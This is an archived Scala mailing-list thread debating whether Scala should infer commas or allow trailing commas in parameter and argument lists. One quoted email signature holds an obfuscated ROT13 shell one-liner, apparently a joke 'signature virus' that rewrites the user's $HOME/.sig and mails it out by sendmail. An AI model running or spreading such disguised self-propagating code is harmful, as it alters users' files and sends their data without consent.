This page is no longer maintained — Please continue to the home page at www.scala-lang.org

Re: comma inference for argument lists?

23 replies
Russ P.
Joined: 2009-01-31,
User offline. Last seen 1 year 26 weeks ago.

On Jan 24, 12:44 pm, Dan Shryock wrote:
> Even though I don't particularly agree with this use case, it has
> always annoyed me that trailing commas on the last element in a list
> aren't allowed in most languages (it was recently removed from scala).

Yes, I've heard of the trailing comma convention in other languages
(Fortran?), but it just doesn't look quite right to me. I think comma
inference is preferable if it can be done without too much trouble.

Russ P.

Jim Powers
Joined: 2011-01-24,
User offline. Last seen 36 weeks 2 days ago.
Re: comma inference for argument lists?

Well, actually...
There are many many examples where commas can be omitted entriely

foo(a b c) and foo(a,b,c) are both equally unambiguous.

In cases where the lack of commas would be ambiguous the compiler can
complain appropriately. So, to generalize the case about class
definitions

def bar(a:Int b:String c:Option[List[Int]]) should pose no difficulty
to the compiler
(nor should:
def bar(a : Int b : String c : Option[List[Int]])
but as you can see if you abuse things a bit too much is gets
harder
for the human to read things ;-) )

jibal
Joined: 2010-12-01,
User offline. Last seen 1 year 45 weeks ago.
Re: Re: comma inference for argument lists?
On Mon, Jan 24, 2011 at 12:55 PM, Russ P. <russ [dot] paielli [at] gmail [dot] com> wrote:
On Jan 24, 12:44 pm, Dan Shryock <dan [dot] shry [dot] [dot] [dot] [at] gmail [dot] com> wrote:
> Even though I don't particularly agree with this use case, it has
> always annoyed me that trailing commas on the last element in a list
> aren't allowed in most languages (it was recently removed from scala).

Yes, I've heard of the trailing comma convention in other languages
(Fortran?),

C allows trailing commas in initializers, but not in parameter or argument lists (for no good reason I'm aware of).

I disagree that there's little gain -- terminators are more consistent than separators and allow items to be reordered or inserted at the end without modifying other items in a list. Optional final terminators would be a welcome feature; too bad they were removed.
 
but it just doesn't look quite right to me. I think comma
inference is preferable if it can be done without too much trouble.

Russ P.

It's an interesting idea, and I think it would be as much trouble as semicolon inference (meaning that amount of trouble would be doubled). It's in the spirit of Scala's flexible syntax.

-- Jim
Florian Hars 2
Joined: 2009-11-01,
User offline. Last seen 42 years 45 weeks ago.
Re: Re: comma inference for argument lists?

On Mon, Jan 24, 2011 at 01:00:02PM -0800, Jim Powers wrote:
> foo(a b c) and foo(a,b,c) are both equally unambiguous.

Yes, unambiguous and totally different. One desugars to foo(a.b(c)),
while the other is foo(a,b,c)

- Florian

Jim Powers
Joined: 2011-01-24,
User offline. Last seen 36 weeks 2 days ago.
Re: Re: comma inference for argument lists?

Yes acknowledged on function application. The scenario under consideration is function definition. My bad for not being clear.

--
Jim Powers

On Jan 28, 2011 6:21 AM, "Florian Hars" <2Bscala [at] hars [dot] de" rel="nofollow">fh+scala [at] hars [dot] de> wrote:
> On Mon, Jan 24, 2011 at 01:00:02PM -0800, Jim Powers wrote:
>> foo(a b c) and foo(a,b,c) are both equally unambiguous.
>
> Yes, unambiguous and totally different. One desugars to foo(a.b(c)),
> while the other is foo(a,b,c)
>
> - Florian
> --
> #!/bin/sh -
> set - `type -p $0` 'tr [a-m][n-z]RUXJAKBOZ [n-z][a-m]EH$W/@OBM' fu XUBZRA.fvt\
> angher echo;while [ "$5" != "" ];do shift;done;$4 "gbhpu $3;fraqznvy sKunef.q\
> r<$3&&frq -a -rc "`$4 "$0"|$1`">$3;rpub 'Jr ner Svt bs Obet.'"|$1|`$4 $2|$1`
jibal
Joined: 2010-12-01,
User offline. Last seen 1 year 45 weeks ago.
Re: Re: comma inference for argument lists?




On Fri, Jan 28, 2011 at 3:21 AM, Florian Hars <2Bscala [at] hars [dot] de" rel="nofollow">fh+scala [at] hars [dot] de> wrote:
On Mon, Jan 24, 2011 at 01:00:02PM -0800, Jim Powers wrote:
> foo(a b c) and foo(a,b,c) are both equally unambiguous.

Yes, unambiguous and totally different. One desugars to foo(a.b(c)),
while the other is foo(a,b,c)

- Florian

The original suggestion was for comma inference like semicolon inference -- that implies at the end of a line only; semicolon inference midline wouldn't work either. Thus, the comments about ambiguities for leaving out commas just anywhere miss the point. And if comma inference is done, it should be done like semicolon inference -- by the lexer, so if it's available for one construct, e.g., parameter lists, it should be available for all.

-- Jim
jpp
Joined: 2010-03-23,
User offline. Last seen 1 year 26 weeks ago.
Re: comma inference for argument lists?

Sorry to dig up this thread, but wha's the conclusion? Is this idea
(as summarized by Jim Balter) being followed or dropped?

I'd regard it as a very nice feature. Take a look at the XScalaWT
project, for instance, which allows to build SWT UIs in Scala with
unprecedented ease. This piece of code demonstrates it:

https://github.com/pieceoftheloaf/XScalaWT/blob/master/com.coconut_palm_...

(I think changes are coming to allow lines like "layout = new
FillLayout()," instead of "setLayout(new FillLayout()),".)

Frameworks like this would greatly benefit from comma inference.

Cheers,
J.-P.

On Jan 28, 9:51 pm, Jim Balter wrote:
>
> The original suggestion was for comma inference like semicolon inference --
> that implies at the end of a line only; semicolon inference midline wouldn't
> work either. Thus, the comments about ambiguities for leaving out commas
> just anywhere miss the point. And if comma inference is done, it should be
> done like semicolon inference -- by the lexer, so if it's available for one
> construct, e.g., parameter lists, it should be available for all.
>

jpp
Joined: 2010-03-23,
User offline. Last seen 1 year 26 weeks ago.
Re: comma inference for argument lists?

> This piece of code demonstrates it:

The version with assignments rather than setters is actually there:

https://github.com/pieceoftheloaf/XScalaWT/blob/gh-pages/com.coconut_pal...

Imagine this file without the trailing commas. It would really look
nice.

J.-P.

Linas
Joined: 2009-09-02,
User offline. Last seen 42 years 45 weeks ago.
Re: Re: comma inference for argument lists?

On Wed, 2011-02-09 at 05:23 -0800, Jean-Philippe Pellet wrote:
> Imagine this file without the trailing commas. It would really look
> nice.

IMHO the Scala is obfuscating enough as it is. Understanding what a real
world Scala code snippet means usually involves running implicit
conversions, type inference and decoding cryptic operator names all in
your head. All while trying to recall the rules of the type system which
never ceases to surprise.

Adding commas that may or may not be necessary, depending on the
context, will really not help the situation.

There probably is a point in silver bullet making, where adding more
silver does not produce a better bullet. Just my, 2 cents.

Linas.

jibal
Joined: 2010-12-01,
User offline. Last seen 1 year 45 weeks ago.
Re: Re: comma inference for argument lists?
On Wed, Feb 9, 2011 at 1:02 PM, Linas <vejobrolis [at] gmail [dot] com> wrote:
On Wed, 2011-02-09 at 05:23 -0800, Jean-Philippe Pellet wrote:
> Imagine this file without the trailing commas. It would really look
> nice.


It would also be highly ambiguous.
 
IMHO the Scala is obfuscating enough as it is. Understanding what a real
world Scala code snippet means usually involves running implicit
conversions, type inference and decoding cryptic operator names all in
your head. All while trying to recall the rules of the type system which
never ceases to surprise.


I don't think any of those is relevant to grokking a parenthesized list of items on separate lines. What is relevant is whether comma inference would create problematic ambiguities. Because Scala ignores indentation and allows arbitrary identifiers in infix position, comma inference seems infeasible for argument lists, but might be doable for other contexts such as a list of formal parameters (which was the original request). But allowing it in one context but not the other introduces an inconsistency that it might well be better to avoid by forgetting the whole idea.

-- Jim

Russ P.
Joined: 2009-01-31,
User offline. Last seen 1 year 26 weeks ago.
Re: comma inference for argument lists?

On Feb 9, 5:07 pm, Jim Balter wrote:
> On Wed, Feb 9, 2011 at 1:02 PM, Linas wrote:
> > On Wed, 2011-02-09 at 05:23 -0800, Jean-Philippe Pellet wrote:
> > > Imagine this file without the trailing commas. It would really look
> > > nice.
>
> It would also be highly ambiguous.
>
> > IMHO the Scala is obfuscating enough as it is. Understanding what a real
> > world Scala code snippet means usually involves running implicit
> > conversions, type inference and decoding cryptic operator names all in
> > your head. All while trying to recall the rules of the type system which
> > never ceases to surprise.
>
> I don't think any of those is relevant to grokking a parenthesized list of
> items on separate lines. What is relevant is whether comma inference would
> create problematic ambiguities. Because Scala ignores indentation and allows
> arbitrary identifiers in infix position, comma inference seems infeasible
> for argument lists, but might be doable for other contexts such as a list of
> formal parameters (which was the original request). But allowing it in one
> context but not the other introduces an inconsistency that it might well be
> better to avoid by forgetting the whole idea.
>

jpp
Joined: 2010-03-23,
User offline. Last seen 1 year 26 weeks ago.
Re: comma inference for argument lists?

> It would also be highly ambiguous.
>
> I don't think any of those is relevant to grokking a parenthesized list of
> items on separate lines. What is relevant is whether comma inference would
> create problematic ambiguities. Because Scala ignores indentation and allows
> arbitrary identifiers in infix position, comma inference seems infeasible
> for argument lists, but might be doable for other contexts such as a list of
> formal parameters (which was the original request). But allowing it in one
> context but not the other introduces an inconsistency that it might well be
> better to avoid by forgetting the whole idea.

I agree about the inconsistency, but do you care to elaborate on the
"highly ambiguous" issue? What are the problems that would show up
that haven't already been solved in the context of semicolon
inference?

If we write

val sum = 1 + 2 + 3 + 4
+ 5 + 6 + 7 + 8 + 9

people people learn pretty quickly that owing to semicolon inference,
this doesn't have the expected effect, and that you should write a
trailing + on the first line instead. Plus, with e.g. Matt Russel's
great Scalariform formatter, you can see at once that this gets
formatted to

val sum = 1 + 2 + 3 + 4
+5 + 6 + 7 + 8 + 9

and here, you really *see* the problem.

Why wouldn't the same principles apply in the case of comma inference?

J.-P.

Philippe Lhoste
Joined: 2010-09-02,
User offline. Last seen 42 years 45 weeks ago.
Re: comma inference for argument lists?

On 10/02/2011 06:31, Russ P. wrote:
> I'd be happy if an end-of-line comment inferred a comma. It would be
> cleaner, and it would allow re-ordering of the arguments by moving a
> line at a time without having to worry about commas.

I don't mind the comma, it is unobtrusive on the eye, IMHO. But I would appreciate
allowing trailing comma, for consistency and ease of shuffling parameters.
After all, Java accepts them in array constructors:
String[] items =
{
"a",
"b",
"c",
};

Russ P.
Joined: 2009-01-31,
User offline. Last seen 1 year 26 weeks ago.
Re: comma inference for argument lists?

Well, it's obviously a matter of personal taste. To me, the comma on
the last argument looks like a loose end then should be cleaned up,
whereas the form without commas looks clean.

--Russ P.

On Feb 10, 3:54 am, Philippe Lhoste wrote:
> On 10/02/2011 06:31, Russ P. wrote:
>
> > I'd be happy if an end-of-line comment inferred a comma. It would be
> > cleaner, and it would allow re-ordering of the arguments by moving a
> > line at a time without having to worry about commas.
>
> I don't mind the comma, it is unobtrusive on the eye, IMHO. But I would appreciate
> allowing trailing comma, for consistency and ease of shuffling parameters.
> After all, Java accepts them in array constructors:
> String[] items =
> {
>    "a",
>    "b",
>    "c",
>
> };
>
> --
> Philippe Lhoste

jibal
Joined: 2010-12-01,
User offline. Last seen 1 year 45 weeks ago.
Re: Re: comma inference for argument lists?
On Thu, Feb 10, 2011 at 12:54 AM, Jean-Philippe Pellet <jppellet [at] gmail [dot] com> wrote:
> It would also be highly ambiguous.
>
> I don't think any of those is relevant to grokking a parenthesized list of
> items on separate lines. What is relevant is whether comma inference would
> create problematic ambiguities. Because Scala ignores indentation and allows
> arbitrary identifiers in infix position, comma inference seems infeasible
> for argument lists, but might be doable for other contexts such as a list of
> formal parameters (which was the original request). But allowing it in one
> context but not the other introduces an inconsistency that it might well be
> better to avoid by forgetting the whole idea.

I agree about the inconsistency, but do you care to elaborate on the
"highly ambiguous" issue? What are the problems that would show up
that haven't already been solved in the context of semicolon
inference?

If we write

 val sum = 1 + 2 + 3 + 4
   + 5 + 6 + 7 + 8 + 9


What does that have to do with a list of parameters with missing commas? I said "arbitrary identifiers", but you've totally ignored that. If we write

foo(bar
yutz
poot
frendle)

how many arguments are being passed to foo?

 
people people learn pretty quickly that owing to semicolon inference,
this doesn't have the expected effect, and that you should write a
trailing + on the first line instead. Plus, with e.g. Matt Russel's
great Scalariform formatter, you can see at once that this gets
formatted to


 val sum = 1 + 2 + 3 + 4
 +5 + 6 + 7 + 8 + 9

and here, you really *see* the problem.

But you *don't* really see it if you write

val smorgasbord = cheese salami pickles
crackers mayo mustard 
 
Why wouldn't the same principles apply in the case of comma inference?

The problem is radically magnified for comma inference.

-- Jim


jibal
Joined: 2010-12-01,
User offline. Last seen 1 year 45 weeks ago.
Re: Re: comma inference for argument lists?
On Thu, Feb 10, 2011 at 3:44 PM, Jim Balter <Jim [at] balter [dot] name> wrote:
On Thu, Feb 10, 2011 at 12:54 AM, Jean-Philippe Pellet <jppellet [at] gmail [dot] com> wrote:
> It would also be highly ambiguous.
>
> I don't think any of those is relevant to grokking a parenthesized list of
> items on separate lines. What is relevant is whether comma inference would
> create problematic ambiguities. Because Scala ignores indentation and allows
> arbitrary identifiers in infix position, comma inference seems infeasible
> for argument lists, but might be doable for other contexts such as a list of
> formal parameters (which was the original request). But allowing it in one
> context but not the other introduces an inconsistency that it might well be
> better to avoid by forgetting the whole idea.

I agree about the inconsistency, but do you care to elaborate on the
"highly ambiguous" issue? What are the problems that would show up
that haven't already been solved in the context of semicolon
inference?

If we write

 val sum = 1 + 2 + 3 + 4
   + 5 + 6 + 7 + 8 + 9


What does that have to do with a list of parameters with missing commas? I said "arbitrary identifiers", but you've totally ignored that. If we write

foo(bar
yutz
poot
frendle)

how many arguments are being passed to foo?

Sorry, I think my examples are poor and aren't really communicating the problem. Consider instead

foo((bar
           yutz poot)
      frendle)

Currently that is foo((bar.yutz(poot)).frendle), but with comma inference it would be
foo((bar, yutz.poot), frendle). You can have the ability to use parentheses for organizing expressions, or you can have the ability to omit commas, but you can't have both -- not without being sensitive to whitespace.


 
people people learn pretty quickly that owing to semicolon inference,
this doesn't have the expected effect, and that you should write a
trailing + on the first line instead. Plus, with e.g. Matt Russel's
great Scalariform formatter, you can see at once that this gets
formatted to


 val sum = 1 + 2 + 3 + 4
 +5 + 6 + 7 + 8 + 9

and here, you really *see* the problem.

But you *don't* really see it if you write

val smorgasbord = cheese salami pickles
crackers mayo mustard

Consider instead
val smorgasbord = (cheese salami pickles
                                  crackers mayo mustard)

Currently that is val smorgasbord = (cheese.salami(pickles).crackers(mayo).mustard)
but with comma inference would be
val smorgasbord = (cheese.salami(pickles), crackers.mayo(mustard))
The indentation makes the former likely but the compiler ignores indentation.

 
 
Why wouldn't the same principles apply in the case of comma inference?

The problem is radically magnified for comma inference.

-- Jim



jibal
Joined: 2010-12-01,
User offline. Last seen 1 year 45 weeks ago.
Re: Re: comma inference for argument lists?
On Wed, Feb 9, 2011 at 9:31 PM, Russ P. <russ [dot] paielli [at] gmail [dot] com> wrote:
On Feb 9, 5:07 pm, Jim Balter <J [dot] [dot] [dot] [at] Balter [dot] name> wrote:
> On Wed, Feb 9, 2011 at 1:02 PM, Linas <vejobro [dot] [dot] [dot] [at] gmail [dot] com> wrote:
> > On Wed, 2011-02-09 at 05:23 -0800, Jean-Philippe Pellet wrote:
> > > Imagine this file without the trailing commas. It would really look
> > > nice.
>
> It would also be highly ambiguous.
>
> > IMHO the Scala is obfuscating enough as it is. Understanding what a real
> > world Scala code snippet means usually involves running implicit
> > conversions, type inference and decoding cryptic operator names all in
> > your head. All while trying to recall the rules of the type system which
> > never ceases to surprise.
>
> I don't think any of those is relevant to grokking a parenthesized list of
> items on separate lines. What is relevant is whether comma inference would
> create problematic ambiguities. Because Scala ignores indentation and allows
> arbitrary identifiers in infix position, comma inference seems infeasible
> for argument lists, but might be doable for other contexts such as a list of
> formal parameters (which was the original request). But allowing it in one
> context but not the other introduces an inconsistency that it might well be
> better to avoid by forgetting the whole idea.
>
> -- Jim

I usually put formal arguments on separate lines when I want to add a
comment for each one, as in

class foo( // like goo, but fooier
   val bar: Int, // where you get beer
   val bat: String, // hits a ball
   val baz: Boolean // who knows?
   )

I'd be happy if an end-of-line comment inferred a comma. It would be
cleaner, and it would allow re-ordering of the arguments by moving a
line at a time without having to worry about commas.

class foo( // like goo, but fooier
   val bar: Int // where you get beer
   val bat: String // hits a ball
   val baz: Boolean // who knows?
   )

See, isn't that nicer?

Russ P.

Fortunately, no sensible language designer would make parsing decisions based on whether or not a comment is present.

-- Jim
Russ P.
Joined: 2009-01-31,
User offline. Last seen 1 year 26 weeks ago.
Re: comma inference for argument lists?

On Feb 10, 4:22 pm, Jim Balter wrote:

> Sorry, I think my examples are poor and aren't really communicating the
> problem. Consider instead
>
> foo((bar
>            yutz poot)
>       frendle)
>
> Currently that is foo((bar.yutz(poot)).frendle), but with comma inference it
> would be
> foo((bar, yutz.poot), frendle). You can have the ability to use parentheses
> for organizing expressions, or you can have the ability to omit commas, but
> you can't have both -- not without being sensitive to whitespace.

Jim,

As you know, I never suggested comma inference for method/function
calls. As far as I am concerned, that would be completely pointless.
My original suggestion was only for class/method/function definitions.
I realize you know this, because you pointed it out at least once
yourself. So why do you keep beating this dead horse?

Someone (can't recall if it was you) suggested that if comma inference
is adopted, it should apply consistently to both calls and
definitions. I don't see why. In a class/method/function definition,
you should document each formal argument. In a call, you typically
don't. The actual arguments passed to a constructor or method are
typically documented at their point of creation, not in a passed
argument list.

--Russ P.

jibal
Joined: 2010-12-01,
User offline. Last seen 1 year 45 weeks ago.
Re: Re: comma inference for argument lists?
On Thu, Feb 10, 2011 at 4:37 PM, Russ P. <russ [dot] paielli [at] gmail [dot] com> wrote:
On Feb 10, 4:22 pm, Jim Balter <J [dot] [dot] [dot] [at] Balter [dot] name> wrote:

> Sorry, I think my examples are poor and aren't really communicating the
> problem. Consider instead
>
> foo((bar
>            yutz poot)
>       frendle)
>
> Currently that is foo((bar.yutz(poot)).frendle), but with comma inference it
> would be
> foo((bar, yutz.poot), frendle). You can have the ability to use parentheses
> for organizing expressions, or you can have the ability to omit commas, but
> you can't have both -- not without being sensitive to whitespace.

Jim,

As you know, I never suggested comma inference for method/function
calls. As far as I am concerned, that would be completely pointless.

But you aren't the only person in this discussion. Someone else just posted a link to code that they noted would be much prettier if all the commas were omitted. I'm explaining why that wouldn't work.
 
My original suggestion was only for class/method/function definitions.
I realize you know this, because you pointed it out at least once
yourself. So why do you keep beating this dead horse?

Because, again, you aren't the only person on the planet -- I was, in fact, responding to *other* people.
 

Someone (can't recall if it was you) suggested that if comma inference
is adopted, it should apply consistently to both calls and
definitions. I don't see why.

Because consistency is a good property of programming languages, and Scala makes some attempts in that direction above what is common.

 
In a class/method/function definition,
you should document each formal argument.

Yes -- in Scaladoc; there is no need to comment them in the def itself, and such "documentation" doesn't make it out of the code into the document.
 
In a call, you typically
don't. The actual arguments passed to a constructor or method are
typically documented at their point of creation, not in a passed
argument list.


What "point of creation"? Arguments may be literals or expressions. Anyway, this isn't the point; no one said anything about documenting method arguments. The example code that someone linked to had long lists of arguments to collection constructors (or factories). It's a clear case where it would be nice to be able to omit commas, if that were doable, but it definitely isn't for arguments (and yes, yes, yes, *you* agree and it's not *your* concern but it was someone else's).

-- Jim
jibal
Joined: 2010-12-01,
User offline. Last seen 1 year 45 weeks ago.
Re: Re: comma inference for argument lists?
Hey, didn't you just say that you're concerned with parameter lists, not argument lists? The clean form you like *in this context* simply isn't doable in Scala, whereas allowing a trailing comma is (and was allowed before 2.8).

-- Jim
 

On Thu, Feb 10, 2011 at 11:37 AM, Russ P. <russ [dot] paielli [at] gmail [dot] com> wrote:
Well, it's obviously a matter of personal taste. To me, the comma on
the last argument looks like a loose end then should be cleaned up,
whereas the form without commas looks clean.

--Russ P.


On Feb 10, 3:54 am, Philippe Lhoste <Phi [dot] [dot] [dot] [at] GMX [dot] net> wrote:
> On 10/02/2011 06:31, Russ P. wrote:
>
> > I'd be happy if an end-of-line comment inferred a comma. It would be
> > cleaner, and it would allow re-ordering of the arguments by moving a
> > line at a time without having to worry about commas.
>
> I don't mind the comma, it is unobtrusive on the eye, IMHO. But I would appreciate
> allowing trailing comma, for consistency and ease of shuffling parameters.
> After all, Java accepts them in array constructors:
> String[] items =
> {
>    "a",
>    "b",
>    "c",
>
> };
>
> --
> Philippe Lhoste
> --  (near) Paris -- France
> --  http://Phi.Lho.free.fr
> --  --  --  --  --  --  --  --  --  --  --  --  --  --

Russ P.
Joined: 2009-01-31,
User offline. Last seen 1 year 26 weeks ago.
Re: comma inference for argument lists?

On Feb 10, 4:48 pm, Jim Balter wrote:

> Yes -- in Scaladoc; there is no need to comment them in the def itself, and
> such "documentation" doesn't make it out of the code into the document.

As I've said before, I think Scaladoc should be adapted to recognize
such trailing comments in the def itself. As far as I am concerned,
that's a more logical place for them than outside the def. But that's
another issue.

--Russ P.

jibal
Joined: 2010-12-01,
User offline. Last seen 1 year 45 weeks ago.
Re: Re: comma inference for argument lists?
On Thu, Feb 10, 2011 at 5:34 PM, Russ P. <russ [dot] paielli [at] gmail [dot] com> wrote:
On Feb 10, 4:48 pm, Jim Balter <J [dot] [dot] [dot] [at] Balter [dot] name> wrote:

> Yes -- in Scaladoc; there is no need to comment them in the def itself, and
> such "documentation" doesn't make it out of the code into the document.

As I've said before, I think Scaladoc should be adapted to recognize
such trailing comments in the def itself. As far as I am concerned,
that's a more logical place for them than outside the def. But that's
another issue.

--Russ P.

I happen to agree with that, and had the same thought the first moment I saw Javadoc or similar systems years ago -- the repetition of the parameter name offends my DRY sense. If some day Scaladoc is so modified, you should consider reintroducing your request for elidable commas -- people may find it more compelling. But since Scaladoc *doesn't* work that way, those end-of-line comments aren't desirable, and without them there's no need to put each parameter on a separate line, and thus no need to make those commas optional.

-- Jim
Russ P.
Joined: 2009-01-31,
User offline. Last seen 1 year 26 weeks ago.
Re: comma inference for argument lists?

On Feb 10, 5:49 pm, Jim Balter wrote:
> On Thu, Feb 10, 2011 at 5:34 PM, Russ P. wrote:
> > On Feb 10, 4:48 pm, Jim Balter wrote:
>
> > > Yes -- in Scaladoc; there is no need to comment them in the def itself,
> > and
> > > such "documentation" doesn't make it out of the code into the document.
>
> > As I've said before, I think Scaladoc should be adapted to recognize
> > such trailing comments in the def itself. As far as I am concerned,
> > that's a more logical place for them than outside the def. But that's
> > another issue.
>
> > --Russ P.
>
> I happen to agree with that, and had the same thought the first moment I saw
> Javadoc or similar systems years ago -- the repetition of the parameter name
> offends my DRY sense. If some day Scaladoc is so modified, you should
> consider reintroducing your request for elidable commas -- people may find
> it more compelling. But since Scaladoc *doesn't* work that way, those
> end-of-line comments aren't desirable, and without them there's no need to
> put each parameter on a separate line, and thus no need to make those commas
> optional.
>

Philippe Lhoste
Joined: 2010-09-02,
User offline. Last seen 42 years 45 weeks ago.
Re: comma inference for argument lists?

On 11/02/2011 02:34, Russ P. wrote:
> On Feb 10, 4:48 pm, Jim Balter wrote:
>
>> Yes -- in Scaladoc; there is no need to comment them in the def itself, and
>> such "documentation" doesn't make it out of the code into the document.
>
> As I've said before, I think Scaladoc should be adapted to recognize
> such trailing comments in the def itself. As far as I am concerned,
> that's a more logical place for them than outside the def. But that's
> another issue.

I agree! I like Doxygen style [1]. It doesn't support Scala (AFAIK) but
perhaps it will do someday... Or ScalaDoc could just adopt some of its
semantics...

[1] Putting comments in context without redundancy instead of separating
them in a separate block by repeating information which soon becomes
desynchronized with the code because of lazy/messy coders (probably
including myself... sometime we focus on immediate task, forgetting
surroundings).
Eclipse can generate list of parameters but doesn't check they are up to
date.

Copyright © 2012 École Polytechnique Fédérale de Lausanne (EPFL), Lausanne, Switzerland